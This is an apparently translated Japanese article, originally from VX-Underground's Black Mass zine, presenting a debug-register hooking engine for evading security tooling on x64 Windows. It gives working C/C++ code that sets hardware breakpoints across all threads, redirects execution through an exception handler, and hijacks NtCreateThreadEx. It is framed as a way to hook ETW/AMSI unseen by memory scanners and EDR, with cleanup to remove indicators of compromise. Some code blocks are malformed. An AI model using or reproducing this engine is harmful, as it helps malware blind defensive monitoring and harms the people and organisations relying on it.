この記事は、元々 VX-Underground Black Mass Halloween Edition 2022 向けに書かれたものです。
フッキングエンジン:
デバッグレジスタを利用した汎用的な x64 ユーザーランド回避技術:
利用可能な ETW/AMSI フックの例
私たちのタスクは、関数を簡単にフックし、必要に応じてコードフローを逸らし、最終的に 不要になったフックを削除することです。
IAT フックは常に呼び出されるとは限らず、信頼性が低いため、使うことはできません。 インラインフッキングは強力な手法ですが、コードが存在するメモリへのパッチ適用が必要です。 これも強力な手法ですが、PE-Sieve や Moneta などのツールは、モジュールのメモリ常駐コピーと ディスク上のコピーの違いを検出し、フラグを立てることができます。そこで、この作業に最適な ツールであるデバッグレジスタが残ります。ただ、デバッグレジスタはマルウェア作者には ほとんど評価されていません。
Windows では、高水準の概要として、プロセスは基本的にスレッドのカプセル化であり、 各スレッドはコンテキスト(レジスタやスタックなど、スレッドの状態)を保持しています。 デバッグレジスタは特権リソースであり、その設定も特権操作です。 しかし、Windows はさまざまな syscall を公開しており、カーネルに代わって 特権アクションを実行するよう要求できます。その中には、私たちに最適な デバッグレジスタの設定も含まれます。NtSetThreadContext と NtGetThreadContext は、 必要な権限でハンドルを開くことができる任意のスレッドコンテキストを変更する機能を公開します。 Win32 API でデバッグレジスタを設定する方法を確認できます。```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);
// set our debug information in the Dr registers
SetThreadContext(thd, &context);
デバッグレジスタはDr0からDr7までの8つあります。私たちにとって重要なのはDr0〜3で、ここにブレークしたいアドレスを格納し、Dr6はデバッグステータスです。最も重要なのはDr7で、プロセッサが例外を投げるブレークポイントの条件を記述します。デバッグレジスタを使用する際には、数が限られている(4つ)ことや、すべてのスレッド/新しく生成されたスレッドには適用されないことなど、さまざまな制限があります。これらの制限のいくつかに対処していきます!
例外が投げられると、プログラム内で定義・登録できる例外ハンドラを探します[1]。定義した例外ハンドラでは、対応するブレークポイントがトリガーされたときに、関連するコード(異なるコードフロー)を実行させたいと考えます。```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
// Look for our associated code flow relative to our RIP
if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
これは、コンストラクタ関数が「コールバック」ラムダ関数とアドレスの間のマッピングを設定することで実現されます。 using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;
// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;
すべてのプロセススレッドを反復処理し、対応する調整を
それらのコンテキストに対して設定する必要があります。これは ToolHelp32 ヘルパー関数を使用して実現できます:
CreateToolhelp32Snapshot、および Thread32Next。これは特別なことではありませんが、
すべてのスレッドにアタッチできないという制限の一つに対処します。```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
DWORD pid{ GetCurrentProcessId() };
HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
if (h != INVALID_HANDLE_VALUE) {
THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(h, &te)) {
do {
if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {
HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (thd != INVALID_HANDLE_VALUE) {
SetHWBP(thd, address, pos, init);
CloseHandle(thd);
}
}
te.dwSize = sizeof(te);
} while (Thread32Next(h, &te));
}
CloseHandle(h);
}
}
ハードウェアブレークポイントが設定されていることは、悪意のあるアクティビティを示す可能性があるため、疑わしいと言えるかもしれません(私の知る限り、EDRがそれらを積極的にスキャンすることはありませんが)。それらは潜在的なIoCとして私たちに対抗するために使用される可能性があるため、使用が終わったらその痕跡を削除しなければなりません。
これをデコンストラクタ関数で実装できます!! この関数はすべてのスレッドを反復処理し、レジスタ (&context.Dr0)[pos] が最初にハードウェアブレークポイントを設定したアドレスを指しているかどうかを確認します(pos は単に index % 4 で、context.Dr0-Dr3 にアクセスできます)。また、Dr7 レジスタで必要な条件も削除できます。さらに、マッピングエントリを削除することも忘れてはなりません。したがって、ハードウェアブレークポイントは必要な期間だけ存在することになります!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);
ハードウェアブレークポイントの例としては Sleep が挙げられ、スリープ時間を
0 に置き換えるだけです。```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, // Set Dr 0
([&](PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // continue execution
}) };
x64 Windowsの4レジスタ高速呼び出し規約[1]により、RCXを設定する必要があることは分かっています。 コンストラクタの最初の引数はブレークするアドレス、2番目はどのDr0-3レジスタに格納するか(なお、同時にブレークできるアドレスは4つまでです)、そして3番目は、例外ハンドラが受け取る情報であるPEXCEPTION_POINTERSを参照でキャプチャするラムダ関数です。これにより、どのブレークポイントがトリガーされたかに応じて、プログラムのフローを異なる形で制御できるようになります。
新しいスレッドが作成されるとき、何らかの方法で新しいスレッドの作成をインターセプトしない限り、関連付けられたデバッグレジスタのセットは継承されません。ここで使える巧妙なトリックの1つは、実際の開始アドレスをキャプチャし、新しいスレッドを独自のスレッド作成に転用することです。大多数の新しいスレッドは、最終的にNtCreateThreadExを呼び出すことになります。```c // Global Variable PVOID START_THREAD{ 0 };
// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}
// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);
}
このソリューションの1つの制限は、スレッドのコールスタックが、元のスレッドではなく、
注入したDLLのHijackThreadから始まることです。あるいは、より良い解決策は、
NtCreateThreadExを自分たちで呼び出し、それを一時停止状態で開始してから、
必要なハードウェアブレークポイントを設定することです。その後、この新しいスレッド用に
デバッグレジスタを設定した状態で、一時停止したスレッドを再開して実行を復元します。
これにより、デバッグレジスタの使用に関するもう1つの制限に対処できます。
ブレークポイントを設定した命令を呼び出すと無限ループが発生します。
そのため、現在のRIPをトリガーする原因となっているハードウェアブレークポイントを一時的に無効にします。
呼び出しが完了したら、それを復元できます。これにより、(トランポリンのように)
元の関数を呼び出せるようになります。この場合、RIPをretガジェットに向けて、
戻れるようにし、別のsyscall命令を実行しないようにする必要があります。
5番目以降のパラメータは、スタックに0x8バイト間隔でプッシュされているのが確認できます [2]。
ブレークポイントをトリガーしたとき、スタックはおおよそ次のようになります。```
___________________________
| |
| 0x8 + lpBytesBuffer |
|___________________________|
| |
| 0x8 + SizeOfStackReserve |
|___________________________|
| |
| 0x8 + SizeOfStackCommit |
|___________________________|
| |
| 0x8 + StackZeroBits |
|___________________________|
| |
| 0x8 + Flags |
|___________________________|
| |
| 0x8 + lpParameter |
|___________________________|
| |
| 0x8 + lpStartAddress |
RSP + 0x28 +-> |___________________________|
| |
| |
| | R9 +-> (HANDLE)ProcessHandle
| 0x20 + Shadow Store | R8 |-> (PVOID) ObjectAttributes
| | RDX |-> (ACCESS_MASK) DesiredAccess
| | RCX +-> (PHANDLE) hThread
|___________________________|
| |
| 0x8 + Call Ret Addr | RIP +-> NtCreateThreadEx
RSP +-> |___________________________|